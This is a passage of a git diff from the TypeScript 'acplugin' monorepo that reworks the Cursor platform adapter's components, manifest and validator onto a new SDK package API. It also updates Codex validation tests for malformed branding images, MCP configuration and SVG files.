expect(iconReport.diagnostics).toContainEqual(expect.objectContaining({ code: 'CODEX_SKILL_ASSET_MISSING' })); + + /** brandingRoot 包含扩展名和内容都不匹配的公开资源。 */ + const brandingRoot = await temporaryProject(); + await fs.mkdir(path.join(brandingRoot, 'src/skills/branding'), { recursive: true }); + await fs.mkdir(path.join(brandingRoot, 'public/assets'), { recursive: true }); + await fs.writeFile(path.join(brandingRoot, 'src/skills/branding/SKILL.md'), '---\ndescription: Branding.\n---\nBranding.\n'); + await fs.writeFile(path.join(brandingRoot, 'public/assets/not-an-image.bin'), Buffer.from([0, 1, 2, 255])); + /** brandingReport 验证实际候选字节而不是只验证安全路径。 */ + const brandingReport = await run({ + root: brandingRoot, command: 'validate', + platform: codex({ interface: { logo: './assets/not-an-image.bin' } }), commit: false, + }); + expect(brandingReport.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CODEX_BRANDING_IMAGE_FORMAT_UNSUPPORTED', + })); }); - it('rejects branding paths whose bytes are not a supported square image', async () => { - /** 包含有效 Skill 和伪造品牌图片的最终候选。 */ + it('rejects malformed MCP wire data at the final candidate boundary', async () => { + /** root 没有其他资源,错误只来自 Extension 贡献的最终 MCP 配置。 */ const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/skills/branding'), { recursive: true }); - await fs.mkdir(path.join(root, 'public/assets'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/skills/branding/SKILL.md'), `--- -description: Validate plugin branding. ---- -Validate the branding files. -`); - await fs.writeFile(path.join(root, 'public/assets/not-an-image.bin'), Buffer.from([0, 1, 2, 255])); - /** Factory 允许安全路径,最终 Validator 负责检查实际文件内容。 */ - const result = await run(resolvedConfig(root, 'build', codex({ - interface: { logo: './assets/not-an-image.bin' }, - }))); + await fs.mkdir(path.join(root, 'src/skills/host'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/host/SKILL.md'), '---\ndescription: Host fixture.\n---\nHost.\n'); + /** malformed 的 HTTP headers 不是字符串映射,并包含未确认字段。 */ + const malformed = contributionExtension({ + id: 'invalid-mcp', field: 'mcpServers', value: './.mcp.json', path: '.mcp.json', + bytes: '{"docs":{"url":"https://example.com/mcp","http_headers":42,"extra":true}}\n', + }); + /** report 必须保留 Codex 最终候选 validator 的细粒度诊断。 */ + const report = await run({ root, command: 'validate', extensions: [malformed], commit: false }); - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'CODEX_BRANDING_IMAGE_FORMAT_UNSUPPORTED', - })); + expect(report.success).toBe(false); + expect(report.diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ code: 'CODEX_MCP_HEADERS_INVALID', phase: 'platform-validate' }), + expect.objectContaining({ code: 'CODEX_MCP_FIELD_UNKNOWN', phase: 'platform-validate' }), + ])); }); it('strictly rejects malformed SVG XML and dimensions with units', async () => { - /** 每个无效 SVG Fixture 的稳定文件名和原始内容。 */ + /** fixtures 覆盖 XML 未闭合和带单位尺寸两个严格拒绝分支。 */ const fixtures = [ ['unclosed.svg', ''], ['unit-size.svg', ''], ] as const; - /** [fileName, source] 表示当前应被严格 SVG 解析拒绝的候选。 */ for (const [fileName, source] of fixtures) { - /** 当前无效 SVG 用例的独立工程。 */ + /** root 隔离当前不合法 SVG。 */ const root = await temporaryProject(); await fs.mkdir(path.join(root, 'src/skills/branding'), { recursive: true }); await fs.mkdir(path.join(root, 'public/assets'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/skills/branding/SKILL.md'), `--- -description: Validate strict SVG parsing. ---- -Validate the branding SVG. -`); + await fs.writeFile(path.join(root, 'src/skills/branding/SKILL.md'), '---\ndescription: Branding.\n---\nBranding.\n'); await fs.writeFile(path.join(root, 'public/assets', fileName), source); - /** image-size 曾错误接受这两个 SVG,最终 Validator 现在必须失败。 */ - const result = await run(resolvedConfig(root, 'build', codex({ - interface: { logo: `./assets/${fileName}` }, - }))); - - expect(result.success).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'CODEX_BRANDING_IMAGE_DECODE_FAILED', - })); + /** report 必须由严格 XML/尺寸解析失败。 */ + const report = await run({ + root, command: 'validate', platform: codex({ interface: { logo: `./assets/${fileName}` } }), commit: false, + }); + expect(report.diagnostics).toContainEqual(expect.objectContaining({ code: 'CODEX_BRANDING_IMAGE_DECODE_FAILED' })); } }); }); diff --git a/packages/platforms/codex/vitest.config.ts b/packages/platforms/codex/vitest.config.ts index 384a43f..dfa1f49 100644 --- a/packages/platforms/codex/vitest.config.ts +++ b/packages/platforms/codex/vitest.config.ts @@ -4,9 +4,19 @@ import { defineConfig } from 'vitest/config'; /** Codex 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ export default defineConfig({ resolve: { - alias: { - '@acplugin/core': fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), - '@tokenroll/acplugin': fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), - }, + alias: [ + { + find: /^@tokenroll\/acplugin\/sdk$/, + replacement: fileURLToPath(new URL('../../acplugin/src/sdk.ts', import.meta.url)), + }, + { + find: /^@tokenroll\/acplugin$/, + replacement: fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), + }, + { + find: /^@acplugin\/core$/, + replacement: fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + }, + ], }, }); diff --git a/packages/platforms/cursor/package.json b/packages/platforms/cursor/package.json index d2afe28..85c2e38 100644 --- a/packages/platforms/cursor/package.json +++ b/packages/platforms/cursor/package.json @@ -1,7 +1,7 @@ { "name": "@tokenroll/acplugin-platform-cursor", - "version": "0.0.1-beta", - "description": "Cursor Platform adapter for acplugin.", + "version": "0.0.2-beta", + "description": "Cursor Platform integration for acplugin.", "type": "module", "license": "MIT", "homepage": "https://github.com/TokenRollAI/acplugin#cursor-platform", diff --git a/packages/platforms/cursor/src/components.ts b/packages/platforms/cursor/src/components.ts index 68632bc..22b72a9 100644 --- a/packages/platforms/cursor/src/components.ts +++ b/packages/platforms/cursor/src/components.ts @@ -1,25 +1,29 @@ import { - bytesArtifact, markdownWithFrontmatter, - type ArtifactInput, - type Component, + type AgentCapability, + type AssetService, + type CanonicalProject, + type CompatibilityInput, + type PackageAssetInput, type PlatformComponentValidationContext, - type PlatformGenerateContext, - type PluginProject, -} from '@tokenroll/acplugin'; +} from '@tokenroll/acplugin/sdk'; -/** Cursor 1.0 暂不开放未经独立 Schema 验证的 Component 专属字段。 */ +/** Cursor 当前不开放任何未经独立 Schema 验证的 Component 专属字段。 */ const COMPONENT_FIELDS = new Set(); -/** - * 校验 Cursor Component 专属字段,阻止 raw Frontmatter 绕过 Platform 所有权。 - * - * @param context Core 规范化并冻结后的字段校验上下文。 - */ -export function validateCursorComponentFields(context: PlatformComponentValidationContext): void { - for (const field of Object.keys(context.fields)) { +/** Cursor base Package 的 Component 转换结果。 */ +export interface CursorComponentPackage { + readonly assets: readonly PackageAssetInput[]; + readonly compatibility: readonly CompatibilityInput[]; +} + +/** 校验 Cursor Component namespace,不允许 raw Frontmatter 逃逸。 */ +export function validateCursorComponent(context: PlatformComponentValidationContext): void { + /** fields 是 Scanner 已复制冻结的 Cursor namespace。 */ + const fields = context.component.platforms.cursor ?? {}; + for (const field of Object.keys(fields)) { if (!COMPONENT_FIELDS.has(field)) { - context.reportDiagnostic({ + context.diagnostics.report({ code: 'CURSOR_COMPONENT_FIELD_UNKNOWN', severity: 'error', message: `Unknown Cursor ${context.component.kind} field "${field}".`, @@ -29,123 +33,109 @@ export function validateCursorComponentFields(context: PlatformComponentValidati } } -/** - * 判断一组规范 Agent 能力是否可以收敛为 Cursor readonly。 - * - * @param capabilities Agent 声明的规范能力。 - * @returns 只包含读取与搜索时返回 true。 - */ -function isReadOnly(capabilities: readonly string[]): boolean { +/** @returns Agent portable capabilities 是否能精确收敛为 Cursor readonly。 */ +function isReadOnly(capabilities: readonly AgentCapability[]): boolean { return capabilities.every(capability => capability === 'filesystem:read' || capability === 'search'); } -/** - * 把规范 Commands、Skills 与 Agents 转换为 Cursor 原生文件。 - * - * @param context Platform generateBundle 生命周期上下文。 - * @returns 确定排序且尚未进入 DeliveryUnit Registry 的 Artifact 输入。 - */ -export function generateComponentArtifacts(context: PlatformGenerateContext): ArtifactInput[] { - /** 当前 Platform 累计生成的 Component Artifact。 */ - const artifacts: ArtifactInput[] = []; - for (const command of context.project.commands) { - artifacts.push(bytesArtifact(`commands/${command.id}.md`, markdownWithFrontmatter({ - description: command.description, - }, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')))); - context.reportCompatibility({ +/** 把 canonical Commands、Skills 与 Agents 转换为 Cursor 原生 Assets。 */ +export async function createCursorComponents( + project: CanonicalProject, + assets: AssetService, +): Promise { + /** output 只包含 Platform 自有 bytes 和 Core 授权的 Skill auxiliary refs。 */ + const output: PackageAssetInput[] = []; + /** compatibility 对每个 Component 精确覆盖 component tuple 与实际语义差异。 */ + const compatibility: CompatibilityInput[] = []; + for (const command of project.commands) { + /** Command Markdown 使用 Cursor 原生参数占位符。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ description: command.description }, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')), + origin: { operation: 'component-command', subjects: [`command:${command.id}`] }, + }); + output.push(Object.freeze({ path: `commands/${command.id}.md`, asset })); + compatibility.push(Object.freeze({ subject: `command:${command.id}`, capability: 'component', level: 'native', - reason: 'Cursor supports plugin Commands and the $ARGUMENTS placeholder.', - }); + reason: 'Cursor supports native Plugin Commands and the $ARGUMENTS placeholder.', + })); if (command.argumentHint !== undefined) { - context.reportCompatibility({ + compatibility.push(Object.freeze({ subject: `command:${command.id}`, - capability: 'argumentHint', + capability: 'argument-hint', level: 'degraded', - transformation: 'The Command remains callable without argument hint UI.', + transformation: 'argument-hint-omitted', reason: 'Cursor Command metadata has no verified argument hint field.', - }); + })); } } - - for (const skill of context.project.skills) { - artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ - 'name': skill.id, - 'description': skill.description, - 'disable-model-invocation': !skill.invocation.model, - }, skill.body))); - for (const auxiliary of skill.auxiliaryFiles) { - artifacts.push({ - path: `skills/${skill.id}/${auxiliary.path}`, - source: { type: 'file', path: auxiliary.sourcePath }, - mode: auxiliary.mode, - }); - } - context.reportCompatibility({ + for (const skill of project.skills) { + /** Skill 主文档保留 Cursor 支持的 model invocation policy。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ + 'name': skill.id, + 'description': skill.description, + 'disable-model-invocation': !skill.invocation.model, + }, skill.body), + origin: { operation: 'component-skill', subjects: [`skill:${skill.id}`] }, + }); + output.push(Object.freeze({ path: `skills/${skill.id}/SKILL.md`, asset })); + for (const auxiliary of skill.auxiliaryFiles) + output.push(Object.freeze({ path: `skills/${skill.id}/${auxiliary.path}`, asset: auxiliary.asset })); + compatibility.push(Object.freeze({ subject: `skill:${skill.id}`, capability: 'component', level: 'native', - reason: 'Cursor supports plugin Agent Skills natively.', - }); + reason: 'Cursor supports native Plugin Agent Skills.', + })); if (!skill.invocation.user) { - context.reportCompatibility({ + compatibility.push(Object.freeze({ subject: `skill:${skill.id}`, capability: 'invocation.user', level: 'degraded', - transformation: 'The Skill remains explicitly invocable.', + transformation: 'explicit-invocation-remains', reason: 'Cursor Skill metadata cannot disable explicit user invocation.', - }); + })); } } - - for (const agent of context.project.agents) { - /** 只有纯读取能力可以由 Cursor readonly 精确收敛。 */ + for (const agent of project.agents) { + /** readonly 只在全部 portable capabilities 都可精确表达时生成。 */ const readonly = isReadOnly(agent.capabilities); - artifacts.push(bytesArtifact(`agents/${agent.id}.md`, markdownWithFrontmatter({ - name: agent.id, - description: agent.description, - ...(readonly ? { readonly: true } : {}), - }, agent.body))); - context.reportCompatibility({ + /** Agent Markdown 使用 Cursor 原生 Subagent schema。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ + name: agent.id, + description: agent.description, + ...(readonly ? { readonly: true } : {}), + }, agent.body), + origin: { operation: 'component-agent', subjects: [`agent:${agent.id}`] }, + }); + output.push(Object.freeze({ path: `agents/${agent.id}.md`, asset })); + compatibility.push(Object.freeze({ subject: `agent:${agent.id}`, capability: 'component', level: 'native', - reason: 'Cursor supports plugin Subagents natively.', - }); + reason: 'Cursor supports native Plugin Subagents.', + })); if (agent.model !== 'inherit') { - context.reportCompatibility({ + compatibility.push(Object.freeze({ subject: `agent:${agent.id}`, capability: 'agent.model', level: 'degraded', - transformation: 'Cursor chooses its current platform default model.', - reason: 'acplugin does not hard-code a changing Cursor model ID for abstract model classes.', - }); + transformation: 'platform-default-model', + reason: 'Cursor has no stable mapping for canonical abstract model classes.', + })); } if (agent.capabilities.length > 0 && !readonly) { - context.reportCompatibility({ + compatibility.push(Object.freeze({ subject: `agent:${agent.id}`, capability: 'agent.capabilities', level: 'degraded', - transformation: 'The Subagent remains available without an exact capability boundary.', + transformation: 'capability-boundary-omitted', reason: 'Cursor can express readonly but not every canonical capability combination.', - }); + })); } } - return artifacts; -} - -/** - * 判断工程是否包含某类 Component,以便清单只声明实际 Glob。 - * - * @param project 已完成扫描和依赖图校验的规范工程。 - * @param kind 待检查的 Component 类型。 - * @returns 对应 Glob 需要进入 Cursor Manifest 时返回 true。 - */ -export function hasComponents(project: PluginProject, kind: Component['kind']): boolean { - if (kind === 'command') - return project.commands.length > 0; - if (kind === 'skill') - return project.skills.length > 0; - return project.agents.length > 0; + return Object.freeze({ assets: Object.freeze(output), compatibility: Object.freeze(compatibility) }); } diff --git a/packages/platforms/cursor/src/index.ts b/packages/platforms/cursor/src/index.ts index 4e8a25c..a8154c6 100644 --- a/packages/platforms/cursor/src/index.ts +++ b/packages/platforms/cursor/src/index.ts @@ -1,25 +1,25 @@ -import { definePlatform, type AcpluginPlatform, type JsonObject } from '@tokenroll/acplugin'; -import { generateComponentArtifacts, validateCursorComponentFields } from './components.js'; -import { createManifestDocument, serializeDocuments, validatePlatformOptions } from './manifest.js'; +import { + definePlatform, + type AcpluginPlatform, + type JsonObject, +} from '@tokenroll/acplugin/sdk'; +import { createCursorComponents, validateCursorComponent } from './components.js'; +import { createPluginDocument, validatePlatformOptions } from './manifest.js'; import type { CursorPlatformOptions } from './types.js'; -import { validateCursorBundle } from './validator.js'; +import { validateCursorPackage } from './validator.js'; export type { CursorPlatformOptions } from './types.js'; /** Cursor Platform 的稳定开放 ID。 */ export const PLATFORM_ID = 'cursor' as const; + /** Cursor Platform 实现的 Core API 版本。 */ export const PLATFORM_API_VERSION = '1' as const; -/** - * 创建独立且可由 Core 品牌校验的 Cursor Platform。 - * - * @param options 当前 Platform 的严格度覆盖。 - * @returns Cursor Plugin 交付实现。 - */ +/** 创建只通过 Package API 交付 Cursor Plugin 的 Platform。 */ export function cursor(options: CursorPlatformOptions = {}): AcpluginPlatform { validatePlatformOptions(options); - /** strict 属于 Core 策略,其余字段作为 Platform 生命周期专属配置保存。 */ + /** strict 由 Core 解释,其余选项复制、深冻后进入 Platform Session。 */ const { strict, ...platformOptions } = options; return definePlatform({ id: PLATFORM_ID, @@ -27,22 +27,28 @@ export function cursor(options: CursorPlatformOptions = {}): AcpluginPlatform { deliveryType: 'plugin', ...(strict === undefined ? {} : { strict }), options: platformOptions as unknown as JsonObject, - validateComponentFields: validateCursorComponentFields, - /** prepare 创建 Platform 自有 Manifest,扩展点随后由 Core 接管。 */ - prepare: context => ({ documents: [createManifestDocument(context)], artifacts: [] }), - /** generateBundle 转换 Component 并序列化完成 Adapter 合并的 Document。 */ - generateBundle: context => ({ - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [ - ...context.artifacts, - ...generateComponentArtifacts(context), - ...serializeDocuments(context.documents), - ], - }), - /** 最终候选必须满足固定官方 Schema 子集和全部引用边界。 */ - validateBundle: validateCursorBundle, + /** Cursor 不声明 Node Runtime 能力,Core 将对存在的 Runtime 显式报告 unsupported。 */ + createSession({ options: sessionOptions }) { + return { + validateComponent: validateCursorComponent, + /** base Package 包含原生 Components 和唯一结构化 Manifest。 */ + async createPackage({ project, assets }) { + /** components 全部通过当前 Platform owner 的 Asset Service 签发。 */ + const components = await createCursorComponents(project, assets); + /** manifest 由 Core codec 负责序列化,Extension 只能填写声明点。 */ + const manifest = createPluginDocument({ project, options: sessionOptions }); + return { + documents: [manifest.document], + assets: components.assets, + compatibility: components.compatibility, + metadata: manifest.metadata, + }; + }, + /** Core 自动继承 base、Public 和 add-only Contributions。 */ + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + validatePackage: validateCursorPackage, + }; + }, }); } diff --git a/packages/platforms/cursor/src/manifest.ts b/packages/platforms/cursor/src/manifest.ts index fdad754..843f442 100644 --- a/packages/platforms/cursor/src/manifest.ts +++ b/packages/platforms/cursor/src/manifest.ts @@ -1,12 +1,10 @@ -import { - bytesArtifact, - stableJson, - type ArtifactInput, - type DraftDocument, - type JsonObject, - type PlatformPrepareContext, -} from '@tokenroll/acplugin'; -import { hasComponents } from './components.js'; +import type { + CanonicalProject, + JsonObject, + MetadataDispositionInput, + PackageDocumentInput, + PluginMetadata, +} from '@tokenroll/acplugin/sdk'; import type { CursorPlatformOptions, CursorPluginManifest } from './types.js'; /** Cursor Plugin 清单的稳定逻辑 Document ID。 */ @@ -15,29 +13,17 @@ export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; /** Cursor Plugin 清单相对于安装根的固定路径。 */ export const PLUGIN_MANIFEST_PATH = '.cursor-plugin/plugin.json'; -/** Cursor Platform 写入 Artifact 时使用的固定 owner。 */ -const PLATFORM_OWNER = 'platform:cursor' as const; - /** Cursor 与 Core 共同采用的完整语义版本规则。 */ export const SEMVER_PATTERN: RegExp = /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-[\dA-Za-z-]+(?:\.[\dA-Za-z-]+)*)?$/u; -/** - * 判断值是否为非空字符串。 - * - * @param value Platform 工厂收到的未知候选。 - * @returns 可安全进入官方 Manifest 时返回 true。 - */ +/** @returns 候选是否为非空字符串。 */ function isNonEmptyString(value: unknown): value is string { return typeof value === 'string' && value.trim().length > 0; } -/** - * 校验 Cursor Platform 工厂只接收官方 Schema 对应字段。 - * - * @param options 用户声明的 Cursor Platform 选项。 - */ +/** 校验 Cursor Platform 工厂只接收官方 Schema 对应字段。 */ export function validatePlatformOptions(options: CursorPlatformOptions): void { - /** Cursor Platform 对外开放的精确顶层字段。 */ + /** allowed 是 Cursor 工厂公开且经验证的精确字段集合。 */ const allowed = new Set(['strict', 'publisher', 'logo', 'category', 'tags', 'minClientVersions']); for (const field of Object.keys(options)) { if (!allowed.has(field)) @@ -45,7 +31,6 @@ export function validatePlatformOptions(options: CursorPlatformOptions): void { } if (options.strict !== undefined && typeof options.strict !== 'boolean') throw new TypeError('Cursor strict must be a boolean.'); - /** field 表示当前可选普通字符串配置。 */ for (const field of ['publisher', 'logo', 'category'] as const) { if (options[field] !== undefined && !isNonEmptyString(options[field])) throw new TypeError(`Cursor ${field} must be a non-empty string.`); @@ -61,7 +46,6 @@ export function validatePlatformOptions(options: CursorPlatformOptions): void { || Array.isArray(options.minClientVersions) || Object.keys(options.minClientVersions).length === 0) { throw new TypeError('Cursor minClientVersions must be a non-empty object.'); } - /** [client, version] 表示当前最低客户端版本约束。 */ for (const [client, version] of Object.entries(options.minClientVersions)) { if (!isNonEmptyString(client) || typeof version !== 'string' || !SEMVER_PATTERN.test(version)) throw new TypeError('Cursor minClientVersions must map non-empty client IDs to semantic versions.'); @@ -69,15 +53,19 @@ export function validatePlatformOptions(options: CursorPlatformOptions): void { } } -/** - * 创建只包含官方字段和实际 Component Glob 的 Cursor Plugin 清单。 - * - * @param context Platform prepare 阶段的规范工程与报告上下文。 - * @returns 可供 Extension add-only patch 的初始清单。 - */ -function createPluginManifest(context: PlatformPrepareContext): CursorPluginManifest { - /** 所有平台共享且已由 Core 验证的 Plugin 元数据。 */ - const metadata = context.project.metadata; +/** @returns canonical project 是否包含指定 Component kind。 */ +function hasComponents(project: CanonicalProject, kind: 'command' | 'skill' | 'agent'): boolean { + return kind === 'command' + ? project.commands.length > 0 + : kind === 'skill' + ? project.skills.length > 0 + : project.agents.length > 0; +} + +/** @returns 统一元数据和 Cursor 选项组成的官方 Plugin Manifest。 */ +function pluginManifest(project: CanonicalProject, options: Readonly): CursorPluginManifest { + /** metadata 已由 Core config resolver 完整验证。 */ + const metadata = project.metadata; return { name: metadata.name, version: metadata.version, @@ -85,102 +73,77 @@ function createPluginManifest(context: PlatformPrepareContext): CursorPluginMani ...(metadata.displayName === undefined ? {} : { displayName: metadata.displayName }), ...(metadata.author === undefined ? {} - : { author: { name: metadata.author.name, ...(metadata.author.email === undefined ? {} : { email: metadata.author.email }) } }), + : { + author: { + name: metadata.author.name, + ...(metadata.author.email === undefined ? {} : { email: metadata.author.email }), + }, + }), ...(metadata.homepage === undefined ? {} : { homepage: metadata.homepage }), ...(metadata.repository === undefined ? {} : { repository: metadata.repository }), ...(metadata.license === undefined ? {} : { license: metadata.license }), - ...(metadata.keywords === undefined ? {} : { keywords: metadata.keywords }), - ...(context.options.publisher === undefined ? {} : { publisher: context.options.publisher as string }), - ...(context.options.logo === undefined ? {} : { logo: context.options.logo as string }), - ...(context.options.category === undefined ? {} : { category: context.options.category as string }), - ...(context.options.tags === undefined ? {} : { tags: context.options.tags as readonly string[] }), - ...(context.options.minClientVersions === undefined + ...(metadata.keywords.length === 0 ? {} : { keywords: metadata.keywords }), + ...(options.publisher === undefined ? {} : { publisher: options.publisher as string }), + ...(options.logo === undefined ? {} : { logo: options.logo as string }), + ...(options.category === undefined ? {} : { category: options.category as string }), + ...(options.tags === undefined ? {} : { tags: options.tags as readonly string[] }), + ...(options.minClientVersions === undefined ? {} - : { minClientVersions: context.options.minClientVersions as Readonly> }), - ...(hasComponents(context.project, 'command') ? { commands: './commands/*.md' } : {}), - ...(hasComponents(context.project, 'skill') ? { skills: './skills/*/SKILL.md' } : {}), - ...(hasComponents(context.project, 'agent') ? { agents: './agents/*.md' } : {}), + : { + minClientVersions: options.minClientVersions as Readonly>, + }), + ...(hasComponents(project, 'command') ? { commands: './commands/*.md' } : {}), + ...(hasComponents(project, 'skill') ? { skills: './skills/*/SKILL.md' } : {}), + ...(hasComponents(project, 'agent') ? { agents: './agents/*.md' } : {}), }; } -/** - * 报告统一元数据在 Cursor Plugin 清单中的最终去向。 - * - * @param context Platform prepare 阶段的元数据报告出口。 - */ -function reportMetadata(context: PlatformPrepareContext): void { - /** 当前工程中始终存在并写入清单的必填元数据字段。 */ - const required = ['name', 'version', 'description'] as const; - /** field 表示当前必填字段,用于报告稳定输出位置。 */ - for (const field of required) { - context.reportMetadata({ - field, - disposition: 'emitted', - output: `${PLUGIN_MANIFEST_PATH}.${field}`, - reason: `Cursor plugin.json supports ${field}.`, - }); - } - /** Cursor 原生输出的统一可选元数据。 */ - const emitted = ['displayName', 'homepage', 'repository', 'license', 'keywords'] as const; - /** field 表示当前实际声明的可选字段。 */ - for (const field of emitted) { - if (context.project.metadata[field] !== undefined) { - context.reportMetadata({ - field, - disposition: 'emitted', - output: `${PLUGIN_MANIFEST_PATH}.${field}`, - reason: `Cursor plugin.json supports ${field}.`, - }); - } +/** @returns 当前工程实际 metadata 的完整 emitted/omitted disposition。 */ +function metadataDispositions(metadata: PluginMetadata): readonly MetadataDispositionInput[] { + /** outputs 精确对应 Core 使用的字段粒度和最终 Manifest 位置。 */ + const outputs: [string, string | undefined][] = [ + ['name', `${PLUGIN_MANIFEST_PATH}/name`], + ['version', `${PLUGIN_MANIFEST_PATH}/version`], + ['description', `${PLUGIN_MANIFEST_PATH}/description`], + ]; + for (const field of ['displayName', 'homepage', 'repository', 'license'] as const) { + if (metadata[field] !== undefined) + outputs.push([field, `${PLUGIN_MANIFEST_PATH}/${field}`]); } - if (context.project.metadata.author !== undefined) { - context.reportMetadata({ - field: 'author', - disposition: 'emitted', - output: `${PLUGIN_MANIFEST_PATH}.author`, - reason: 'Cursor plugin.json supports author name and email.', - }); - if (context.project.metadata.author.url !== undefined) { - context.reportDiagnostic({ - code: 'CURSOR_METADATA_AUTHOR_URL_OMITTED', - severity: 'warning', - message: 'Cursor author.url is omitted because the official author Schema accepts only name and email.', - fieldPath: ['author', 'url'], - }); - } + if (metadata.author !== undefined) { + outputs.push(['author.name', `${PLUGIN_MANIFEST_PATH}/author/name`]); + if (metadata.author.email !== undefined) + outputs.push(['author.email', `${PLUGIN_MANIFEST_PATH}/author/email`]); + if (metadata.author.url !== undefined) + outputs.push(['author.url', undefined]); } + if (metadata.keywords.length > 0) + outputs.push(['keywords', `${PLUGIN_MANIFEST_PATH}/keywords`]); + return Object.freeze(outputs.map(([field, output]) => Object.freeze({ + field, + disposition: output === undefined ? 'omitted' as const : 'emitted' as const, + ...(output === undefined ? {} : { output }), + reason: output === undefined + ? 'Cursor plugin.json author accepts only name and email.' + : `Cursor plugin.json supports ${field}.`, + }))); } -/** - * 创建 Cursor Platform 的初始 Plugin Manifest Document。 - * - * @param context Platform prepare 生命周期上下文。 - * @returns 只开放 Hooks 与 MCP 根字段的单一 Document。 - */ -export function createManifestDocument(context: PlatformPrepareContext): DraftDocument { - reportMetadata(context); - return { +/** 创建由 Core codec 序列化且只开放 Hooks/MCP 的 Cursor Plugin Document。 */ +export function createPluginDocument(input: { + readonly project: CanonicalProject; + readonly options: Readonly; +}): { readonly document: PackageDocumentInput; readonly metadata: readonly MetadataDispositionInput[] } { + /** document 是 Cursor base Package 的唯一结构化清单。 */ + const document: PackageDocumentInput = Object.freeze({ id: PLUGIN_MANIFEST_ID, path: PLUGIN_MANIFEST_PATH, format: 'json', - owner: PLATFORM_OWNER, - value: createPluginManifest(context) as unknown as JsonObject, - extensionPoints: [['hooks'], ['mcpServers']], - }; -} - -/** - * 将完成 Extension patch 的 Cursor Document 序列化为 Artifact。 - * - * @param documents 当前 Platform Draft 中由 Core 冻结的完整文档列表。 - * @returns 包含固定 Plugin 清单路径的序列化 Artifact。 - */ -export function serializeDocuments(documents: readonly DraftDocument[]): ArtifactInput[] { - /** 按逻辑 ID 查找而不是根据物理路径猜测语义的 Plugin 清单。 */ - const manifest = documents.find(document => document.id === PLUGIN_MANIFEST_ID); - if (!manifest || manifest.path !== PLUGIN_MANIFEST_PATH || manifest.format !== 'json') - throw new Error('Cursor Platform Draft is missing its canonical Plugin Manifest Document.'); - if (documents.length !== 1) - throw new Error('Cursor Platform received an unknown Document.'); - return [bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson(manifest.value))]; + value: pluginManifest(input.project, input.options) as unknown as JsonObject, + extensionPoints: Object.freeze([ + Object.freeze(['hooks'] as const), + Object.freeze(['mcpServers'] as const), + ]), + }); + return Object.freeze({ document, metadata: metadataDispositions(input.project.metadata) }); } diff --git a/packages/platforms/cursor/src/validator.ts b/packages/platforms/cursor/src/validator.ts index f56db6b..7338556 100644 --- a/packages/platforms/cursor/src/validator.ts +++ b/packages/platforms/cursor/src/validator.ts @@ -1,8 +1,11 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { JsonValue, PlatformValidateContext } from '@tokenroll/acplugin'; +import type { JsonValue, ValidatePackageContext } from '@tokenroll/acplugin/sdk'; import { PLUGIN_MANIFEST_PATH, SEMVER_PATTERN } from './manifest.js'; +/** Cursor validator 只消费 SDK 的最终 Package candidate Context。 */ +type PlatformValidateContext = ValidatePackageContext; + /** Cursor 官方 Schema 当前允许的根字段。 */ const MANIFEST_FIELDS = new Set([ 'name', 'displayName', 'description', 'version', 'minClientVersions', 'author', 'publisher', 'homepage', @@ -13,6 +16,21 @@ const MANIFEST_FIELDS = new Set([ /** Cursor Plugin 名称的当前官方规则。 */ const PLUGIN_NAME_PATTERN = /^[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$/u; +/** Cursor Hook 配置文件唯一允许的根字段。 */ +const HOOK_CONFIG_FIELDS = new Set(['version', 'hooks']); + +/** Cursor 当前验证过的 Plugin Hook 事件。 */ +const HOOK_EVENTS = new Set([ + 'sessionStart', 'sessionEnd', 'beforeSubmitPrompt', 'preToolUse', 'postToolUse', 'preCompact', + 'subagentStart', 'subagentStop', 'stop', +]); + +/** Cursor 远程 MCP descriptor 允许的完整字段。 */ +const MCP_SERVER_FIELDS = new Set(['url', 'headers']); + +/** MCP Server key 继续使用框架统一的稳定 ID。 */ +const MCP_SERVER_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + /** JSON 对象的运行时只读索引类型。 */ type JsonRecord = Record; @@ -29,7 +47,7 @@ function isRecord(value: unknown): value is JsonRecord { /** * 向 Core 提交 Cursor 候选校验错误。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param code 稳定诊断码。 * @param message 不包含宿主绝对路径的错误信息。 * @param fieldPath 可选的清单字段位置。 @@ -40,7 +58,7 @@ function report( message: string, fieldPath?: readonly (string | number)[], ): void { - context.reportDiagnostic({ + context.diagnostics.report({ code, severity: 'error', message, @@ -65,25 +83,25 @@ function isSafeReference(reference: string): boolean { } /** - * 判断路径或 Glob 引用是否至少匹配一个已物化 Artifact。 + * 判断路径或 Glob 引用是否至少匹配一个已物化 Asset。 * - * @param artifacts 当前交付单元的 Artifact 路径集合。 + * @param assets 当前 Package 的 Asset 路径集合。 * @param reference 已通过安全检查的引用。 * @returns 精确文件或 Glob 静态目录存在时返回 true。 */ -function referenceExists(artifacts: ReadonlySet, reference: string): boolean { +function referenceExists(assets: ReadonlySet, reference: string): boolean { /** 移除协议前缀并取得第一个 Glob 之前的稳定前缀。 */ const relative = 